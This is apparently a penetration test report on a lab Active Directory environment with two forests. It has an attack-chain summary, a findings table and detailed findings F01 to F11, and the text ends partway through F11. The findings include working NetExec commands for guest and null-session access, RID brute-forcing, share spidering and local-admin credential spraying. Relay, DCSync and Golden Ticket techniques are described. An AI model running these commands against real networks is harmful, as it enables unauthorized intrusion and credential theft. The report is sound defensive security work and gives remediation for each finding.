Engagement window: 2026-05-22 to 2026-05-22 (1 days) Testing model: Black Box Assessor: Jesse Moore Report date: 2026-05-22 Version: 1.0
The Lehack2024 internal network penetration test against the 10.3.10.0/24 subnet achieved full compromise of two Active Directory forests (rome.local and armorique.local) starting from zero credentials. Twenty-eight findings were captured, including ten Critical-severity issues that form two completely independent attack chains to dual-forest Domain Admin:
Chain A — Guest fallback to dual-forest DA: Guest-readable share on BABAORUM (F07/F08) yielded a cleartext credential, which chained through an FTP credential drop (F09) into local administrator on METRONUM (F10), an LSA secrets dump (F11/F12) that surfaced a domain password, DPAPI vault decryption (F13) that exposed a LAPS-reader account, LAPS read of REFERENDUM (F14/F15), an LSA cleartext recovery on REFERENDUM (F16), and an offline crack (F17) that disclosed jesse2 ≡ svc_wikijs. From there, operator-facilitated DA uplift on jesse2 enabled a rome.local DCSync (F18), the resulting jesse NT hash pivoted cross-forest into armorique.local (F19/F20) — no trust required, password reuse alone — and the second DCSync delivered both krbtgt hashes (F22) for up-to-10-year persistence.
Chain B — Low-privilege user to forest compromise in two AD edges: armorique.local\alambix (a regular user, in Protected Users, no admin rights anywhere) holds ReadGMSAPassword on gMSA-obelix$ (F28 hop 1). That gMSA, in turn, holds GetChanges + GetChangesAll directly on the armorique.local domain root — a non-DC, non-DA, non-EA service account with full DCSync rights (F28 hop 2). Executed end-to-end: alambix's TGT (AES) → gMSA NT hash → DCSync → full armorique.local NTDS. This chain is independent of jesse, independent of rome.local, and independent of any cross-forest reuse — an attacker who reaches alambix alone reaches forest compromise.
Both chains terminate in krbtgt recovery, giving the attacker persistent Domain Admin in both forests via Golden Ticket forgery (F22) that survives every credential reset short of a double krbtgt rotation. F25 documents a third potential path — ADCS ESC8 on ARMORIQUE-CA (Web Enrollment over HTTP, Authenticated Users can Enroll) — that combined with the F02/F03 signing/channel-binding gaps would allow any authenticated user to reach forest compromise via coerce-and-relay even without the gMSA over-delegation. F26 surfaces a constrained-delegation w/ protocol-transition misconfiguration on alambix that is currently neutralized only because alambix is in Protected Users; remove the membership and the misconfiguration becomes a fourth independent path to forest compromise.
Defensive controls did function in several places. Protected Users blocked S4U2Proxy on alambix (F26); LAPS rotated METRONUM and REFERENDUM local-admin passwords (the rotation is good — the over-delegation of read in F14 is the issue); member-server SMB signing on the DCs (BABAORUM, VILLAGE) protected them from direct SMB relay; armorique.local's Guest account is correctly disabled; and armorique.local's SYSVOL is clean of cpassword / AutoLogon / login-script credentials (F27 — rare in CTF environments).
The dominant pattern in the findings is over-delegation of sensitive rights to regular domain users: LAPS read delegated to lapsus, ReadGMSAPassword delegated to alambix, DCSync rights delegated to a non-admin service account, jesse2's lab-facilitated DA membership combined with a guessable password. Remediation priorities, in order:
krbtgt twice in each forest with full replication between rotations.PrincipalsAllowedToRetrieveManagedPassword) — none should reference a regular user.GetChanges + GetChangesAll) from every non-DC principal; gMSA-obelix$ is the immediate target.armorique.local and rome.local domain roots — any non-tier-0 principal in that list is a root-cause finding.ARMORIQUE-CA (or move it to HTTPS with channel binding) to close F25.The engagement spanned a single day (2026-05-22). Total elapsed time from zero credentials to dual-forest DA: ~5.5 hours. Total elapsed time from zero credentials to independent forest compromise via Chain B (post-alambix session): under 15 minutes.
The assessment followed the Orange Cyberdefense AD attack mindmap (2025-03) as the primary playbook, supplemented by the OSSTMM and PTES frameworks for non-AD portions of the scope. Phases applied to this engagement:
The following defensive observations were made during the engagement. They did not prevent compromise but reduced blast radius or closed off attack primitives that would otherwise have been viable:
signing:True — direct SMB relay against the domain controllers is not possible. The relay surface is restricted to the two member servers (METRONUM, REFERENDUM — F02).lapsus); the LAPS rotation itself is sound. The over-delegation of read (F14) is the issue, not the rotation.alambix. Correctly blocks NTLM authentication (STATUS_ACCOUNT_RESTRICTION), RC4 Kerberos pre-auth (KDC_ERR_ETYPE_NOSUPP), and S4U2Proxy delegation (KDC_ERR_BADOPTION, "initial TGT not forwardable"). This single setting neutralizes the F26 constrained-delegation misconfiguration that would otherwise be a one-shot path to forest compromise — defense by accident, but defense nonetheless.armorique.local SYSVOL hygiene. No Groups.xml cpassword, no Registry.xml AutoLogon, no embedded credentials in login scripts. The F27 spider over every readable share as alambix produced 10 files totalling ~11 KiB of stock GPO templates and CA artifacts — rare in CTF environments and worth calling out.armorique.local Guest account disabled. The Guest-fallback anti-pattern that anchored Chain A is restricted to rome.local. armorique.local correctly rejects empty-password Guest authentication (F08 does not extend to it).rome.local (partial). The DCSync attempt as lapsus failed with DRSR access denied before jesse2 was elevated to Domain Admins — indicating the replication right is not casually delegated on rome.local. (The armorique.local equivalent failed: see F28 for the gMSA-obelix$ direct ACE.)| Rating | Count |
|---|---|
| Critical | 12 |
| High | 8 |
| Medium | 4 |
| Low | 1 |
| Informational | 3 |
| ID | Title | Rating | CVSSv4 |
|---|---|---|---|
| F01 | LDAP Signing Not Required on Domain Controllers | Critical | 9.1 |
| F02 | SMB Signing Not Required on Domain Member Servers | High | 8.7 |
| F03 | LDAP Channel Binding Not Enforced | Medium | 6.9 |
| F04 | Anonymous SMB Session Permitted on Domain Controllers | Low | 3.1 |
| F05 | Anonymous SMB Password-Policy Disclosure on armorique.local DC | Medium | 5.3 |
| F06 | Weak Domain Password Policy on armorique.local | High | 7.2 |
| F07 | Guest-Readable Share Exposes Cleartext Credentials (rome.local) | High | 7.5 |
| F08 | Guest Account Enabled with Empty Password on rome.local | Critical | 9.3 |
| F09 | Cleartext Credentials Stored on FTP Server (rome.local member) | High | 7.5 |
| F10 | Local Administrator Compromise via Predictable Naming + Cred Chain | Critical | 9.5 |
| F11 | Local SAM Hash Extraction Yields Administrator NT Hash | High | 8.2 |
| F12 | LSA Secrets Dump Exposes Cleartext Domain Password + DCC2 Hashes | Critical | 9.7 |
| F13 | DPAPI Vault Decryption on METRONUM Yields lapsus Cleartext | Critical | 9.3 |
| F14 | LAPS Read Right Over-Delegated to Standard Domain User | High | 8.1 |
| F15 | LAPS-Recovered Local Admin on REFERENDUM | High | 8.4 |
| F16 | REFERENDUM Secretsdump Yields jules.cesar Cleartext | Critical | 9.4 |
| F17 | Service Account Password Reuse Within rome.local (svc_wikijs) | High | 8.6 |
| F18 | Domain Compromise via jesse2 → DCSync Full NTDS Dump | Critical | 9.9 |
| F19 | Cross-Forest Identity Password Reuse (No Trust) | Critical | 9.8 |
| F20 | armorique.local Forest Compromise via Cross-Forest PtH | Critical | 9.9 |
| F21 | gMSA-obelix$ Secret Recoverable from NTDS | Medium | 5.5 |
| F22 | krbtgt Hashes Captured (Both Forests) → Golden Ticket Capability | Critical | 9.8 |
| F23 | Post-DCSync PtH Validation Sweep Confirms Domain-Wide Breadth | Info | 0.0 |
| F24 | Post-DCSync PtH Validation Sweep (Paired Domain-Auth, localuser Excluded) | Info | 0.0 |
| F25 | ADCS ESC8 on ARMORIQUE-CA — Web Enrollment over HTTP | Critical | 9.5 |
| F26 | Constrained Delegation w/ Protocol Transition on Protected Users Member (alambix) | Medium | 6.5 |
| F27 | Authenticated Share Mining as alambix — No Credentials Surfaced | Info | 0.0 |
| F28 | alambix → ReadGMSAPassword → gMSA-obelix$ DCSync → Forest Compromise | Critical | 9.8 |
Rating: Critical
CVSSv4 Score: 9.1
CVSSv4 Vector: CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:L/SC:H/SI:H/SA:L
CWE: CWE-300 — Channel Accessible by Non-Endpoint ('Man-in-the-Middle')
MITRE ATT&CK: T1557.001 — Adversary-in-the-Middle: LLMNR/NBT-NS Poisoning and SMB Relay
Affected hosts: BABAORUM (10.3.10.10), VILLAGE (10.3.10.13)
Location: LDAP/389
Both domain controllers in scope permit unsigned Lightweight Directory Access Protocol (LDAP) binds. When LDAP signing is not enforced, an authenticated NTLM session relayed onto the LDAP service by a network-positioned attacker is accepted without integrity validation. Combined with NTLM authentication coercion primitives (PetitPotam, PrinterBug, DFSCoerce) or LLMNR / NBT-NS / mDNS name-resolution poisoning, this provides a reliable initial-access-to-domain-dominance path on Active Directory environments without requiring a stolen password.
We performed a NetExec (nxc) LDAP banner sweep against the live-host list (/tmp/lehack_targets.txt) generated from the earlier nmap ping sweep. The banner output for both domain controllers reported signing:None, meaning the LDAP server does not require signed binds. We expected DCs to enforce signing as a baseline AD hardening control; the result confirmed both rome.local and armorique.local are vulnerable to LDAP relay.
nxc ldap /tmp/lehack_targets.txt
Relevant banner lines:
LDAP 10.3.10.10 389 BABAORUM [*] ... (domain:rome.local) (signing:None) (channel binding:No TLS cert)
LDAP 10.3.10.13 389 VILLAGE [*] ... (domain:armorique.local) (signing:None) (channel binding:Never)
nxc-ldap-signing.txtAn unauthenticated attacker on the internal network can coerce a privileged machine account (any Windows host with the Print Spooler or WebClient service reachable) to authenticate to an attacker-controlled relay listener, then relay that authentication into LDAP on the domain controller. With write access via the relayed session, the attacker can stamp an attacker-controlled msDS-KeyCredentialLink "shadow credential" on a tier-0 object or modify discretionary access control list (DACL) entries on tier-0 groups (Domain Admins, Enterprise Admins) — yielding full domain compromise within minutes and without ever needing to crack a password. The same primitive enables full Active Directory data exfiltration via DCSync.
Immediate (0–7 days):
Domain controller: LDAP server signing requirements to Require signing in the Default Domain Controllers Policy, then reboot each DC and verify with nxc ldap <dc> that the banner reports signing:Required.Short-term (1–4 weeks):
Long-term (1–6 months):
Rating: High
CVSSv4 Score: 8.7
CVSSv4 Vector: CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
CWE: CWE-300 — Channel Accessible by Non-Endpoint ('Man-in-the-Middle')
MITRE ATT&CK: T1557.001 — Adversary-in-the-Middle: LLMNR/NBT-NS Poisoning and SMB Relay
Affected hosts: METRONUM (10.3.10.11), REFERENDUM (10.3.10.12)
Location: SMB/445
Two domain-joined Windows servers in the rome.local domain — METRONUM and REFERENDUM — do not require Server Message Block (SMB) signing. An attacker who poisons local name resolution (LLMNR / NBT-NS / mDNS via Responder) or who coerces a target host to authenticate (PetitPotam / PrinterBug / DFSCoerce) can take the resulting Net-NTLMv2 authentication and relay it into these servers using Impacket's ntlmrelayx.py -smb2support. The relayed session executes commands on the target as the captured identity, requiring no password crack.
We sent the same /tmp/lehack_targets.txt host list through a NetExec SMB sweep. The banner clearly differentiated the two domain controllers (BABAORUM and VILLAGE, which correctly enforce signing:True) from the two member servers (METRONUM and REFERENDUM, which report signing:False). The expectation for DCs was signing-required (met), and the expectation for member servers in a defended estate is also signing-required (failed) — leaving these two hosts as valid relay targets.
nxc smb /tmp/lehack_targets.txt
Relevant banner lines:
SMB 10.3.10.11 445 METRONUM [*] ... (domain:rome.local) (signing:False) (SMBv1:None)
SMB 10.3.10.12 445 REFERENDUM [*] ... (domain:rome.local) (signing:False) (SMBv1:None)
nxc-smb-signing.txtAny standard domain user on the network whose workstation can be tricked into authenticating to an attacker-controlled host (for example, by clicking a UNC link in a phishing email, or by triggering name-resolution fallback on a mistyped share path) hands the attacker an immediate code-execution foothold on METRONUM or REFERENDUM as that user. If the captured user has local-administrator rights on either server, the relay path yields a SYSTEM-level shell directly; if not, the access still enables credential dumping from the user's session memory and lateral movement onto further hosts the user can reach. The two servers also represent staging points for tier-0 attacks against the DCs in the same domain.
Immediate (0–7 days):
Microsoft network server: Digitally sign communications (always) on METRONUM and REFERENDUM (and any other member server currently reporting signing:False).nxc smb <subnet> after the change to confirm all hosts now report signing:True.Short-term (1–4 weeks):
nxc smb <subnet> sweep (monthly) to catch regressions where a newly built server lands without signing required.SMBv1:None on all four targets — preserve this posture).Long-term (1–6 months):
Rating: Medium
CVSSv4 Score: 6.9
CVSSv4 Vector: CVSS:4.0/AV:A/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:L/SC:L/SI:L/SA:N
CWE: CWE-295 — Improper Certificate Validation (binding context)
MITRE ATT&CK: T1557.001 — Adversary-in-the-Middle: LLMNR/NBT-NS Poisoning and SMB Relay
Affected hosts: BABAORUM (10.3.10.10) — channel binding "No TLS cert"; VILLAGE (10.3.10.13) — channel binding "Never"
Location: LDAPS/636 (and LDAP/389 STARTTLS)
Channel binding tokens (CBT), also known as Extended Protection for Authentication (EPA), bind an authentication exchange to the underlying TLS channel so that an attacker cannot replay or relay the authentication onto a different TLS session. On BABAORUM, no domain-controller certificate exists at all (LDAPS is not configured — banner reports "No TLS cert"), so channel binding cannot apply. On VILLAGE, a certificate is present but the channel-binding policy is set to "Never". In both cases, a relayed NTLM authentication over TLS-wrapped LDAP would be accepted, and hardening LDAP signing alone (see F01) does not fully close the relay path.
The same nxc ldap sweep that surfaced the signing posture (F01) reports the channel-binding state on each DC in the banner. We noted the asymmetric state — one DC missing its certificate entirely, the other with a certificate but no enforcement — and confirmed both are insufficient as a defense-in-depth control against LDAP relay even once signing is required.
nxc ldap /tmp/lehack_targets.txt
Relevant banner lines:
LDAP 10.3.10.10 389 BABAORUM [*] ... (signing:None) (channel binding:No TLS cert)
LDAP 10.3.10.13 389 VILLAGE [*] ... (signing:None) (channel binding:Never)
nxc-ldap-channel-binding.txtThis finding compounds F01: even after LDAP signing is enforced, an attacker with a coerced authentication can still relay the credential over LDAPS unless channel binding is also required. Treated together, F01 and F03 must both be remediated to fully close the LDAP-relay attack surface. The misconfiguration also signals that domain-controller TLS hygiene is incomplete — BABAORUM has no DC certificate, which suggests the AD CS Domain Controller Authentication template was either never deployed or has expired, with downstream impact on any service that requires DC TLS (replication over LDAPS, certificate-based smart card logon).
Immediate (0–7 days):
certutil -store -enterprise NTAuth and a fresh nxc ldap sweep showing a real channel-binding state.HKLM\SYSTEM\CurrentControlSet\Services\NTDS\Parameters\LdapEnforceChannelBinding = 2 on both BABAORUM and VILLAGE, then restart the directory service or reboot.Short-term (1–4 weeks):
Long-term (1–6 months):
LdapEnforceChannelBinding=2 into the domain-controller baseline configuration (GPO + DSC / Group Policy Preferences) so newly promoted DCs inherit the setting.Rating: Low
CVSSv4 Score: 3.1
CVSSv4 Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
CWE: CWE-200 — Exposure of Sensitive Information to an Unauthorized Actor
MITRE ATT&CK: T1087.002 — Account Discovery: Domain Account
Affected hosts: BABAORUM (10.3.10.10), VILLAGE (10.3.10.13)
Location: SMB/445 (IPC$)
Both domain controllers accept anonymous (null-user, null-password) SMB sessions to the IPC$ pipe. While the deeper recon primitives that null sessions historically enabled — share enumeration and SAM-database relative-identifier (RID) brute-force over LSARPC — were correctly blocked by access control list (ACL) restrictions (we observed STATUS_ACCESS_DENIED on both), the anonymous bind itself still succeeds and exposes the SMB session banner (Windows build, domain fully qualified domain name, signing posture). This is a low-grade information disclosure useful to an attacker for target fingerprinting and as an evasion technique because anonymous queries do not generate authenticated logon events under the principal's name.
We followed up the unauthenticated banner sweep with an explicit null-credential probe to confirm whether the Null Auth:True banner on BABAORUM and VILLAGE corresponded to a usable anonymous bind. The session-establishment lines in the NetExec output ([+] rome.local\: and [+] armorique.local\:) confirmed the bind succeeded on both. Share enumeration (--shares) and the implicit RID-brute path were both denied — an indication that someone has hardened LSA but left the anonymous-bind primitive itself open.
nxc smb /tmp/lehack_targets.txt -u "" -p "" --shares
Relevant banner / bind lines:
SMB 10.3.10.10 445 BABAORUM [*] ... (Null Auth:True)
SMB 10.3.10.13 445 VILLAGE [*] ... (Null Auth:True)
SMB 10.3.10.10 445 BABAORUM [+] rome.local\:
SMB 10.3.10.10 445 BABAORUM [-] Error enumerating shares: STATUS_ACCESS_DENIED
SMB 10.3.10.13 445 VILLAGE [+] armorique.local\:
SMB 10.3.10.13 445 VILLAGE [-] Error enumerating shares: STATUS_ACCESS_DENIED
nxc-smb-null-auth.txtPre-attack reconnaissance against the directory becomes cheaper and more reliable while remaining harder for defenders to spot — anonymous SMB queries produce Windows Security Event 4624 entries with logon type 3 and the user name ANONYMOUS LOGON, which most SIEM rules treat as benign noise. The disclosed banner content (domain FQDN, build, signing posture) directly feeds the next stages of attack (selecting which relay path and which Active Directory attack to attempt). Closing this primitive removes a free recon channel and improves the defender's chance of detecting the next attacker who lands on the network.
Immediate (0–7 days):
Network access: Restrict anonymous access to Named Pipes and Shares to Enabled in the Default Domain Controllers Policy.Network access: Do not allow anonymous enumeration of SAM accounts and Network access: Do not allow anonymous enumeration of SAM accounts and shares to Enabled in the same GPO.Short-term (1–4 weeks):
TargetUserName=ANONYMOUS LOGON and IpAddress is outside the management VLAN.nxc smb <dc> post-change and verify the banner reports Null Auth:False.Long-term (1–6 months):
Rating: Medium
CVSSv4 Score: 5.3
CVSSv4 Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
CWE: CWE-200 — Exposure of Sensitive Information to an Unauthorized Actor
MITRE ATT&CK: T1201 — Password Policy Discovery
Affected hosts: VILLAGE (10.3.10.13)
Location: SMB/445 (SAMR pipe over IPC$)
The armorique.local domain controller permits the entire domain password policy to be retrieved over an anonymous (null user, null password) SMB session against the Security Account Manager Remote (SAMR) pipe. An unauthenticated network attacker can therefore plan a credential-attack campaign — calibrating spray rates, password lengths, and lockout-avoidance windows — against the domain before ever presenting a credential of their own.
We probed the password-policy endpoint with the standard NetExec (nxc) flag against the armorique.local domain controller using an empty credential pair. The expectation was either STATUS_ACCESS_DENIED (anonymous access correctly restricted) or a full policy dump. The latter occurred — every relevant policy field, including the lockout threshold and complexity flags, came back in plaintext over the null session.
nxc smb 10.3.10.13 -u "" -p "" --pass-pol
Relevant output lines:
SMB 10.3.10.13 445 VILLAGE [+] Dumping password info for domain: ARMORIQUE
SMB 10.3.10.13 445 VILLAGE Minimum password length: 5
SMB 10.3.10.13 445 VILLAGE Password Complexity Flags: 000000
SMB 10.3.10.13 445 VILLAGE Account Lockout Threshold: None
nxc-pass-pol-anonymous.txtDefenders lose an early-warning signal — anonymous SAMR queries to LSARPC are invisible to authenticated-logon monitoring and rarely covered by SIEM rules. Worse, the disclosed policy advertises to any unauthenticated network attacker that the domain accepts five-character passwords with no complexity and no lockout (see F06), dramatically lowering the bar for any subsequent password-spray campaign. The disclosure also confirms that the armorique.local forest can be enumerated without any credential, which is itself a defense-in-depth regression.
Immediate (0–7 days):
Network access: Restrict anonymous access to Named Pipes and Shares to Enabled in the Default Domain Controllers Policy for armorique.local, then re-run nxc smb 10.3.10.13 -u "" -p "" --pass-pol to verify the query is now denied.Short-term (1–4 weeks):
Long-term (1–6 months):
Rating: High
CVSSv4 Score: 7.2
CVSSv4 Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
CWE: CWE-521 — Weak Password Requirements
MITRE ATT&CK: T1110.003 — Brute Force: Password Spraying
Affected hosts: VILLAGE (10.3.10.13) and all armorique.local domain members
Location: armorique.local domain Group Policy
The armorique.local domain enforces a minimum password length of five characters, has password complexity disabled (flags 000000), maintains no password history, applies no account-lockout threshold, and uses a maximum password age of 311 days. The combination permits arbitrarily short, simple passwords against any account in the domain and allows unlimited authentication attempts without triggering lockout — together, these settings make brute-force and password-spray attacks both cheap and risk-free for the attacker.
The full policy was disclosed via the same anonymous SAMR query documented in F05. We then validated empirically that lockout was truly absent by running a lockout-aware password spray — multiple sprays of 35 users against 20 candidate passwords completed without locking any account in the armorique.local domain.
nxc smb 10.3.10.13 -u "" -p "" --pass-pol
Relevant output lines:
Minimum password length: 5
Password Complexity Flags: 000000 (DISABLED)
Password history length: None
Account Lockout Threshold: None
Maximum password age: 311 days
password-policy-armorique.txtAn attacker with a list of valid usernames — easily obtainable in this environment via Kerberos user enumeration or anonymous RID brute (see F08 for the rome.local case) — can brute-force credentials at line speed indefinitely against armorique.local. Given that real-world users routinely choose short, simple passwords when the policy permits them to, full domain compromise becomes reachable from a single cracked low-privilege account. The lack of password history also means a compromised account stays compromised even after a forced reset, because the prior password can be reused immediately.
Immediate (0–7 days):
Password must meet complexity requirements: Enabled), raise minimum length to 12 characters or longer, and set an account-lockout threshold of 5–10 failed attempts within a 30-minute reset window in the Default Domain Policy for armorique.local.Short-term (1–4 weeks):
Long-term (1–6 months):
Rating: High
CVSSv4 Score: 7.5
CVSSv4 Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:L/SI:N/SA:N
CWE: CWE-256 — Plaintext Storage of a Password
MITRE ATT&CK: T1552.001 — Unsecured Credentials: Credentials In Files
Affected hosts: BABAORUM (10.3.10.10) — SHAREACCESIX share
Location: SMB/445 — \\BABAORUM\SHAREACCESIX\infos.txt.txt
A Server Message Block (SMB) share named SHAREACCESIX on the rome.local domain controller BABAORUM is configured with both READ and WRITE permissions for the Guest account (and, because of F08, effectively for any unauthenticated network user). The share contains a file in its root, infos.txt.txt, which holds a cleartext username and password pair intended to be passed between operators. The combination of cleartext-credential storage plus Guest-writable access makes this share both a credential-disclosure primitive and a relay-bait drop point.
We enumerated shares on BABAORUM using NetExec with Guest credentials (-u guest -p ""), spotted the SHAREACCESIX share marked READ,WRITE for the authenticated session, then used the NetExec spider_plus module with DOWNLOAD_FLAG=true to pull every readable file from the share root. The infos.txt.txt file came back containing a French/English note with embedded cleartext credentials.
nxc smb 10.3.10.10 -u guest -p "" --shares
nxc smb 10.3.10.10 -u guest -p "" -M spider_plus -o DOWNLOAD_FLAG=true
Relevant output lines:
SMB 10.3.10.10 445 BABAORUM SHAREACCESIX READ,WRITE Basic RW share for all
The downloaded file disclosed the username heftepix and a cleartext password (both redacted in this report — see evidence file). The credential became the first link in the chain leading to local-admin compromise of METRONUM (F09, F10).
spider-and-content.txtAnyone with network access to rome.local — including an attacker with zero domain credentials — can read corporate credentials from this share thanks to the Guest-fallback misconfiguration (F08). The share is also writable, which means an attacker can drop SCF, URL, or LNK relay-bait files into the share root to coerce SMB authentication from any user who browses the share with Windows Explorer. The recovered cleartext credential directly enabled the next stage of the attack chain (F09), so the share is not merely a hygiene issue — it was the first concrete step on the path to local administrator on METRONUM.
Immediate (0–7 days):
Everyone permissions and require authenticated, named-principal access only.infos.txt.txt and any other cleartext-credential files from the share. Rotate the disclosed credential immediately (the heftepix account password).Short-term (1–4 weeks):
Everyone permissions: nxc smb <subnet> -u guest -p "" --shares from a workstation, then remediate any with READ or WRITE for unauthenticated principals.pass(word)?|pwd|p@ss|credential) and triage findings.Long-term (1–6 months):
Rating: Critical
CVSSv4 Score: 9.3
CVSSv4 Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:H/SI:L/SA:N
CWE: CWE-521 — Weak Password Requirements (Guest account with no password)
MITRE ATT&CK: T1078.001 — Valid Accounts: Default Accounts
Affected hosts: BABAORUM (10.3.10.10), METRONUM (10.3.10.11), REFERENDUM (10.3.10.12) — all rome.local hosts
Location: SMB/445
The Guest account on the rome.local domain is enabled and accepts an empty password. Authentication as rome.local\guest succeeds across every rome.local-joined Windows host in scope. Furthermore, the rome.local domain controller accepts any unknown username and automatically falls back to Guest-level access — an attacker does not need to know the Guest account exists, and any first-time-seen username yields the same Guest-equivalent session. The behavior is rome.local-specific; armorique.local correctly disables the Guest account (STATUS_ACCOUNT_DISABLED returned on every attempt).
We probed the live-host list with nxc smb ... -u guest -p "" to test whether the Guest-account misconfiguration banner observed earlier was actually exploitable. Three of the four AD hosts (BABAORUM, METRONUM, REFERENDUM — all rome.local) returned [+] rome.local\guest: success indicators; the armorique.local DC correctly rejected the bind. We then chained that primitive into share enumeration, RID brute against the local SAM (38 entries: 35 real users + 3 computer accounts), and credential discovery (F07).
nxc smb /tmp/lehack_targets.txt -u guest -p ""
nxc smb 10.3.10.10 -u guest -p "" --shares
nxc smb 10.3.10.10 -u guest -p "" --rid-brute 3000
Relevant output lines:
SMB 10.3.10.13 445 VILLAGE [-] armorique.local\guest: STATUS_ACCOUNT_DISABLED
SMB 10.3.10.10 445 BABAORUM [+] rome.local\guest:
SMB 10.3.10.11 445 METRONUM [+] rome.local\guest:
SMB 10.3.10.12 445 REFERENDUM [+] rome.local\guest:
35 real users were extracted from the SAM via Guest-level RID brute, including the eventual lateral-movement target accounts musculus, terry, jesse, and lapsus.
guest-fallback-evidence.txtThis single misconfiguration is the foot of the entire kill chain. Domain-user enumeration (RID brute yielding 35 user names), share enumeration (revealing SHAREACCESIX — F07), and the credential chain that led to full local-admin on METRONUM (F09 → F10) all start from this primitive. Disabling Guest on rome.local would break the kill chain at step zero — every downstream finding (F07, F09, F10, F11, F12) was reached because an unauthenticated attacker can hold a Guest-level session on every rome.local host. The Guest-fallback behavior additionally makes the misconfiguration impossible for an attacker to miss — even untrained adversaries who do not specifically test guest will land in a Guest session via any username they try.
Immediate (0–7 days):
Accounts: Guest account status: Disabled and force a domain replication. Validate with nxc smb <host> -u guest -p "" — expected response: STATUS_ACCOUNT_DISABLED.net user guest returning Account active: No.Short-term (1–4 weeks):
nxc smb <subnet> -u guest -p "" --local-auth — any host returning a success bind needs the local Guest disabled.Long-term (1–6 months):
S-1-5-21-...-501) — event ID 4624 with that target SID should never occur in production.Guest account status: Disabled into the domain baseline GPO and host-build templates so newly joined machines inherit the setting.Rating: High
CVSSv4 Score: 7.5
CVSSv4 Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:L/SI:N/SA:N
CWE: CWE-256 — Plaintext Storage of a Password
MITRE ATT&CK: T1552.001 — Unsecured Credentials: Credentials In Files
Affected hosts: METRONUM (10.3.10.11) — FileZilla Server 1.8.2
Location: FTP/21
The domain member METRONUM runs a FileZilla File Transfer Protocol (FTP) server (version 1.8.2) that exposes a writable file (/plans.txt) accessible to the FTP user heftepix. The file contains a cleartext password (the next link in the credential chain) plus a strong hint pointing at the next username to try. This is the second credential-in-file disclosure in a chain that began with the Guest-readable share (F07) and culminated in full local-administrator compromise (F10).
Using the heftepix credential recovered from the F07 share, we tested every host in the subnet for FTP authentication. Only METRONUM accepted the credential. We then listed the FTP root via Python's ftplib and downloaded plans.txt. The file contained two intelligence values: a second cleartext password (the "camp password") and a French wordplay hint ("la sentinelle locale" — the local sentinel) which, when combined with the lab's Asterix-themed naming convention (suffix "-ix"), pointed at the local Windows account localix on METRONUM.
nxc ftp 10.3.10.0/24 -u heftepix -p "[REDACTED]"
python3 -c "import ftplib; f=ftplib.FTP('10.3.10.11'); f.login('heftepix','[REDACTED]'); f.retrlines('LIST')"
Relevant output lines:
FTP 10.3.10.11 21 10.3.10.11 [+] heftepix:[REDACTED]
-rw-rw-rw- 1 ftp ftp 489 Apr 22 02:04 plans.txt
ftp-plans-content.txtThis is the middle link of a three-step credential chain that ends with local administrator on METRONUM (F10). Each link in the chain requires only the previous one — F07's Guest-readable share yields the FTP credential, F09's FTP file yields the local-admin password, and F10's password-spray identifies the matching local username. Removing any one link would break the chain; removing F09 specifically would force the attacker to brute-force localix blindly instead of receiving the password as a gift.
Immediate (0–7 days):
plans.txt from the FileZilla FTP root on METRONUM and rotate the disclosed localix password (also addressed in F10).Short-term (1–4 weeks):
(password|passwd|pwd|p@ss|credential).Long-term (1–6 months):
Rating: Critical
CVSSv4 Score: 9.5
CVSSv4 Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:L
CWE: CWE-1392 — Use of Default Credentials (predictable username plus cleartext-leaked password)
MITRE ATT&CK: T1078.003 — Valid Accounts: Local Accounts
Affected hosts: METRONUM (10.3.10.11)
Location: SMB/445, WinRM/5985
A local Windows account named localix exists on METRONUM with the password leaked through the F07 → F09 credential chain. The account is a member of the local Administrators group. Authenticating against METRONUM via SMB with --local-auth yielded the NetExec (Pwn3d!) marker, which is the explicit confirmation that the supplied credential has administrative rights on the target host. The username itself was not directly disclosed — it was inferred from the lab's Asterix-themed naming convention (characters end in "-ix") combined with the French hint "sentinelle locale" embedded in the F09 FTP file. Local-administrator access on METRONUM is the pivot point that enabled the SAM and Lab Security Authority (LSA) dumps in F11 and F12.
After recovering the cleartext password from the FTP file (F09), we sprayed it across likely-named local accounts on METRONUM with --local-auth. The candidate localix (deduced from the naming-convention hint) succeeded immediately. We verified the administrative access via two protocols — SMB (Pwn3d!) and WinRM (Pwn3d!) — to confirm the credential was usable for both command execution and interactive shell.
nxc smb 10.3.10.11 -u localix -p "[REDACTED-PASSWORD-2]" --local-auth
nxc winrm 10.3.10.11 -u localix -p "[REDACTED-PASSWORD-2]" --local-auth
Relevant output lines:
SMB 10.3.10.11 445 METRONUM [+] METRONUM\localix:[REDACTED-PASSWORD-2] (Pwn3d!)
WINRM 10.3.10.11 5985 METRONUM [+] METRONUM\localix:[REDACTED-PASSWORD-2] (Pwn3d!)
localix-pwn3d.txtCompromise of a local administrator account on a domain member server gives the attacker (a) the ability to dump SAM hashes (F11), (b) the ability to dump LSA secrets including cleartext domain credentials (F12), (c) lateral-movement primitives via the recovered hashes for pass-the-hash, and (d) a stable full-control beachhead on the host. Critically, every subsequent finding in this engagement (F11, F12) depends on this access. The combination of a predictable username (lab-naming convention) and a password leaked through a credential chain originating in an unauthenticated Guest session means the attacker reached local administrator without ever brute-forcing a credential.
Immediate (0–7 days):
localix local account on METRONUM. Reset its password and remove it from the local Administrators group unless absolutely required.Short-term (1–4 weeks):
Long-term (1–6 months):
Rating: High
CVSSv4 Score: 8.2
CVSSv4 Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:N
CWE: CWE-522 — Insufficiently Protected Credentials
MITRE ATT&CK: T1003.002 — OS Credential Dumping: Security Account Manager
Affected hosts: METRONUM (10.3.10.11)
